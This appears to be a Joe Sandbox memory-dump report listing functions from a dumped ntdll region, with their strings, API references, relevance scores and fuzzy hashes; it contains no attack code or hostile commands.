Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: ddf36ad5ce736668b2c1dc5522434ee595a020a1d1018a2ad509ebb637702a50
Instruction ID: 538e5867f816b377949aa7b615ec89848ecf4b7622bfb0e868689f70a7d78731
Opcode Fuzzy Hash: ddf36ad5ce736668b2c1dc5522434ee595a020a1d1018a2ad509ebb637702a50
Instruction Fuzzy Hash: AC61917294222CABDB22DF54DC98BD9B7B8BB04714F4101E9EA09A7251DB74DE84CF90

Function 3290F75B Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3296E455
HEAP: , xrefs: 3296E442
HEAP[%wZ]: , xrefs: 3296E435

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: b532e08abd360784d634b13a41f560216ff75a16ec4f2ff7fade3f2835a82172
Instruction ID: f5466aa9b4c2b81baa93e338f425e7c06132eab4e01a896794ed802b2631cfea
Opcode Fuzzy Hash: b532e08abd360784d634b13a41f560216ff75a16ec4f2ff7fade3f2835a82172
Instruction Fuzzy Hash: 87511735600788EFE715CBA4C884F9ABBFCFF04758F0484A5E9918B692DB74EA45CB50

Function 329BD62C Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 329BD7B2
HEAP: , xrefs: 329BD79F
HEAP[%wZ]: , xrefs: 329BD792

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: e0a05ae8c876ff84f749cb38626852d9038948746832dd00306d1d24e4ec3133
Instruction ID: c68dbe038a9c049ccb5669220079e02d23e55346753ce1b3f72806b5c5262b51
Opcode Fuzzy Hash: e0a05ae8c876ff84f749cb38626852d9038948746832dd00306d1d24e4ec3133
Instruction Fuzzy Hash: 045106B9100354CBFB64CA29C4847B277E5EF45388F50888EE4D58BA85EA36D847DB70

Function 329415EF Relevance: 3.9, Strings: 3, Instructions: 127COMMON

Download Yara Rule

Strings

TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 32981943
LdrpAllocateTls, xrefs: 3298194A
minkernel\ntdll\ldrtls.c, xrefs: 32981954

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
API String ID: 0-4274184382
Opcode ID: 6dadfb6e37b3939fa617c8359e3dd6a9769842774dcc39795a927dea7fa96815
Instruction ID: b4f8a9e92b0d22bd3849ad6f753d3b87cef59d12a4708a765033af7441922905
Opcode Fuzzy Hash: 6dadfb6e37b3939fa617c8359e3dd6a9769842774dcc39795a927dea7fa96815
Instruction Fuzzy Hash: A64178B5A00709EFDB18CFA9D881BAEBBB5FF48704F048529E405A7351DB75A841CF90

Function 329432C0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

RtlCreateActivationContext, xrefs: 32982803
SXS: %s() passed the empty activation context data, xrefs: 32982808
Actx , xrefs: 329432CC

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 4db18d3062e0227514fe0e40018711bd76b57472abff9a4ae835ab49bab381b1
Instruction ID: dfbb8585cd32bb348e471bb1e8e0bb5bc4ea88071ee7cf1b2d551a0f94fef811
Opcode Fuzzy Hash: 4db18d3062e0227514fe0e40018711bd76b57472abff9a4ae835ab49bab381b1
Instruction Fuzzy Hash: DA310376A003459FEB05CE28D890F9A37A8EB48718FA54469FD049F286CFB1D845CBD0

Function 3299B214 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

GlobalFlag, xrefs: 3299B30F
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 3299B2B2
@, xrefs: 3299B2F0

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 9937416bb9bf476cda66044c72d737762a02d08379c137886044ff5ba2694fb4
Instruction ID: 3ec21b23b7ea9bb0de34573cb1d0b11fef47bc5b8374dddc47999631c879ef19
Opcode Fuzzy Hash: 9937416bb9bf476cda66044c72d737762a02d08379c137886044ff5ba2694fb4
Instruction Fuzzy Hash: 36316DB5E0120DAEEB00DFA4DC91AEEBBBCEF04354F500469E605AB241DB749A448B90

Function 32951190 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

BuildLabEx, xrefs: 3295122F
@, xrefs: 329511C5
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 3295119B

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction ID: 9b331480be868c2e315c6052687e43b99585c56a326a186fd4fbfc3385a8426e
Opcode Fuzzy Hash: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction Fuzzy Hash: 27316176A00619BBEB11CBA5DC44EEEBB7DEF84754F204025F514A72A1DB70DA05CB90

Function 329985AA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 329985DE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 1bf5fce3931d90730c270fbaa1542376aad60b3e1950eb50f9bf4c71f9dd9d9f
Instruction ID: 74064e3421d5126493f5c5072c7d3bf5ce6b322aa7f2c754a5be2d7a0a194558
Opcode Fuzzy Hash: 1bf5fce3931d90730c270fbaa1542376aad60b3e1950eb50f9bf4c71f9dd9d9f
Instruction Fuzzy Hash: 9501FE766043056BE7255E55F848ADA7B6DFF4C3B8F4004DCE9015B553CF60A8C6CE94

Function 329251C0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 32925365
@, xrefs: 329254C3

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 361a649b562a7f2d792e866357f054f014d4cbaa5df1c2f6f5dfd2b0b6ee9099
Instruction ID: f5c4e3805ba23bd0d81f273dc8a97fbee056abeed6b80b1a7b11b1a1e9b34ef2
Opcode Fuzzy Hash: 361a649b562a7f2d792e866357f054f014d4cbaa5df1c2f6f5dfd2b0b6ee9099
Instruction Fuzzy Hash: 9732B0B45083558FD728CF18C480B3EB7E9EF89748F50492EF9859B294EB74D984CB92

Function 32915622 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32915698
RtlDebugPrintTimes.NTDLL ref: 3297061D

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: fad224385689cf1d728c0c841dc90f34feda4a9d87417c4564bade601fcbe878
Instruction ID: 4c56d3d41064c6a48b40cfb26e325f13596b1683fec7888a0947d0a236a63ac5
Opcode Fuzzy Hash: fad224385689cf1d728c0c841dc90f34feda4a9d87417c4564bade601fcbe878
Instruction Fuzzy Hash: 4D31D231301B1AEFE7569B26C950B8AFB69BF44794F415125E90047B51DBB0FC21CBD0

Function 3298E372 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 3298E3DA
UEFI, xrefs: 3298E3D1

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: Legacy$UEFI
API String ID: 0-634100481
Opcode ID: b819824a3cca290480a2cda97216fb40f4a6008f39de28d853fb4e19359c4d70
Instruction ID: c3dfebf2149875f8a105590b139d46c3cb292933e4f89c4aa7100c41b3d12b17
Opcode Fuzzy Hash: b819824a3cca290480a2cda97216fb40f4a6008f39de28d853fb4e19359c4d70
Instruction Fuzzy Hash: 73615DB1A043099FEB14CFA8C850BADB7F9FB48744F54406AF589EB251EB71D900CB91

Function 3292F640 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 3292F780
$, xrefs: 3292F716

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: 5d8651941d01de4366af5004150b27ab1e48a7c500dd1844f2ed8ee63b9c9ab6
Instruction ID: d68a09341bf0a8eb44c6e28641d9f2e86ebe1d82dcc9a9967113fb9f676f59f3
Opcode Fuzzy Hash: 5d8651941d01de4366af5004150b27ab1e48a7c500dd1844f2ed8ee63b9c9ab6
Instruction Fuzzy Hash: 6C61CCB5A0174DCFEB20CFA8C580B9DB7F5FF44708F108469D605AB699CBB4A941CB90

Function 3291A1E3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Exit, xrefs: 3291A229
RtlpResUltimateFallbackInfo Enter, xrefs: 3291A21B

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: b017b177ede27b8b91b64c777dcf765d4fd6d4df8dff0297c95c3904ada67aa8
Instruction ID: 2365d70eef0a49783624daeaa8493c2aa6fdcad0dda4a3d677962be019ee36a6
Opcode Fuzzy Hash: b017b177ede27b8b91b64c777dcf765d4fd6d4df8dff0297c95c3904ada67aa8
Instruction Fuzzy Hash: 9141FDB5A00748CFEB19CF5AC540B59B7B8EF85754F2444A5EC10DF2A5EA7AED40CB00

Function 329A314A Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 329A318E
LdrResGetRCConfig Enter, xrefs: 329A317C

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: ad2743a3c66ee825cdf96b10f1d20660a7dd3bf32660f99e0be7c0b5f55a583e
Instruction ID: 27bf1f63f173f52659444cfce1bfa0cfa70e871bb84537171fd8f0a7a33b43c7
Opcode Fuzzy Hash: ad2743a3c66ee825cdf96b10f1d20660a7dd3bf32660f99e0be7c0b5f55a583e
Instruction Fuzzy Hash: 1C3101752087808FD311CF69D860B1AB7E8EF89758F044869FD54CB381EB70D905CB5A

Function 329431BE Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 3294322D
.Local\, xrefs: 329431D5

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 818c2534b163b399889d2f7394738279e48ae2f37a1263514aae226adae7a18c
Instruction ID: 6eeb0d6fbc8ad78cdb4669eb05299e109780dbc1ee4dea51c6936e47279f6a78
Opcode Fuzzy Hash: 818c2534b163b399889d2f7394738279e48ae2f37a1263514aae226adae7a18c
Instruction Fuzzy Hash: A93190B5549345AFD320DF28C880A5BBBE8FB89754F900A2EFD9483250DB30DD09CB96

Function 329433D0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 3298289F
RtlpInitializeAssemblyStorageMap, xrefs: 3298289A

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: f01724a9f70c368af67e6edb0471a2fadfa9a7634395fa842953e8a63cc450fe
Instruction ID: cfde08f1aa77a22b9e8ec407390a315537703777a4e7dc8a3c9efb519df38088
Opcode Fuzzy Hash: f01724a9f70c368af67e6edb0471a2fadfa9a7634395fa842953e8a63cc450fe
Instruction Fuzzy Hash: 50112576F04304FBFB19CA58DD40F9B77ACDB88758FA48029BA04EB284DE74CD0086A4

Function 3291C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 3291C7E3, 3291C960

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: b5073960ef5767193de2aabc82578bd8ee34989d5fc44104e7511885385708ae
Instruction ID: 267dd11192e2b2136ebcb19b07b81fa76848bfa6e19b5408f2a91f983146d758
Opcode Fuzzy Hash: b5073960ef5767193de2aabc82578bd8ee34989d5fc44104e7511885385708ae
Instruction Fuzzy Hash: FC826CB9E0031C9FEB24CFAAC9817ADB7B5FF49354F108169D819AB290DB70AD41CB51

Function 329164F0 Relevance: 1.9, APIs: 1, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f1d51ef1dd930780a78a11f5de8683a787cbf732732d8642b2f7efa1ad3c19
Instruction ID: 5e4659cf1654a2e8e51c98b2b27e07f785bfcb2869b9187a2cefc6adb4a7f6f7
Opcode Fuzzy Hash: 03f1d51ef1dd930780a78a11f5de8683a787cbf732732d8642b2f7efa1ad3c19
Instruction Fuzzy Hash: 9BE1AD74A08345CFD304CF29C090A5ABBE5FF88358F158A6DE9898B351DB71E906CF92

Function 32911051 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32911153

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: e85b113305de8158ed209362a6fbc4bfac5da6f1b09faf80e2737e3d9037aa9a
Instruction ID: 6ca8574e65b5fc8d84e1685664449788fc556efb203f5ac211f90f95d2da453c
Opcode Fuzzy Hash: e85b113305de8158ed209362a6fbc4bfac5da6f1b09faf80e2737e3d9037aa9a
Instruction Fuzzy Hash: 59B112B56093809FD354CF28C480A6AFBF1BF88758F14896EE89987352D771E845CB82

Function 32917623 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 112bda760a79bfa277bcbb8bcbb324c41e5ed58bd74101007bf4e70f672ecb0f
Instruction ID: 4f5b33ace93d510beaa8223e539efd47d287d256ae5fd7af052219ec0b175850
Opcode Fuzzy Hash: 112bda760a79bfa277bcbb8bcbb324c41e5ed58bd74101007bf4e70f672ecb0f
Instruction Fuzzy Hash: EA616175A0060AEFDB08CF79C880B9DFBB5BF88744F24856AD419A7305DB70B951CB90

Function 32914779 Relevance: 1.6, APIs: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32914817

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 7f3acbdead198591796cd73f45010894dfe246fc6e1bade1bcde96e168f7b5c5
Instruction ID: 4933045531d8a7b4fd157b86bf676f96b586fccba0518b025da8eb5ab16f4d4c
Opcode Fuzzy Hash: 7f3acbdead198591796cd73f45010894dfe246fc6e1bade1bcde96e168f7b5c5
Instruction Fuzzy Hash: E8411374600389CFD314CF2AC894B2AB7E9FF89764F10587DE9418B2A1DB70E852CB91

Function 3290B420 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3290B4AC

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: de204db0878cfbbfadf3bd61ea15f98759bb75e7933168e198e7b01b6da6ac51
Instruction ID: c485b58682e7b5e24a51c645fbfb97339637749971b4f1afd0eefbb8231e545d
Opcode Fuzzy Hash: de204db0878cfbbfadf3bd61ea15f98759bb75e7933168e198e7b01b6da6ac51
Instruction Fuzzy Hash: 4B31007264030C9FC311DF14C8A0A5A77A9EF45768F10826AED089F2A2CB71EE42CFD0

Function 329156E0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32915762

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 65c957ed59b3c9cb7cca9124ab72d7adcff692ea9261b8e2127ed5b83337e8d5
Instruction ID: e6fa3a69b3b7bd8dce5e842872aa35eee2fe39b42dc60c2810beaa7afb102cfa
Opcode Fuzzy Hash: 65c957ed59b3c9cb7cca9124ab72d7adcff692ea9261b8e2127ed5b83337e8d5
Instruction Fuzzy Hash: C931AD39615A09FFE7568B25CA90B89BBA5FF88750F416155EC0187B51CB71F831CB80

Function 329BE750 Relevance: 1.6, APIs: 1, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 329BE7B1

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 1f03048945adb1f35f4e68bc11d1ac333b497138c8b43fda74b62ddbf57d8e80
Instruction ID: 049dc60aab6b7cb74f503e7c98fd6a7a48ba8b893b428155d383e90dce0eac6a
Opcode Fuzzy Hash: 1f03048945adb1f35f4e68bc11d1ac333b497138c8b43fda74b62ddbf57d8e80
Instruction Fuzzy Hash: 983167B59057068FCB04DF19C54094ABBF9FF89758F8489AEE8889B201D630ED05CFD2

Function 329092AF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 329092D5

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: d289826de171c2b63b3ce4b2d22425eddd71b32ff711467845262f283f1541cd
Instruction ID: 3f1d9fd75ac82a67d46fd90f6bf6567d068e631229ab1bad96140138a24dc027
Opcode Fuzzy Hash: d289826de171c2b63b3ce4b2d22425eddd71b32ff711467845262f283f1541cd
Instruction Fuzzy Hash: 9EF0FA32200708AFE3319B18CC04F9ABBEDEF88B00F04052CA94293091CAA0E90ACA60

Function 3291965A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 32919713

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

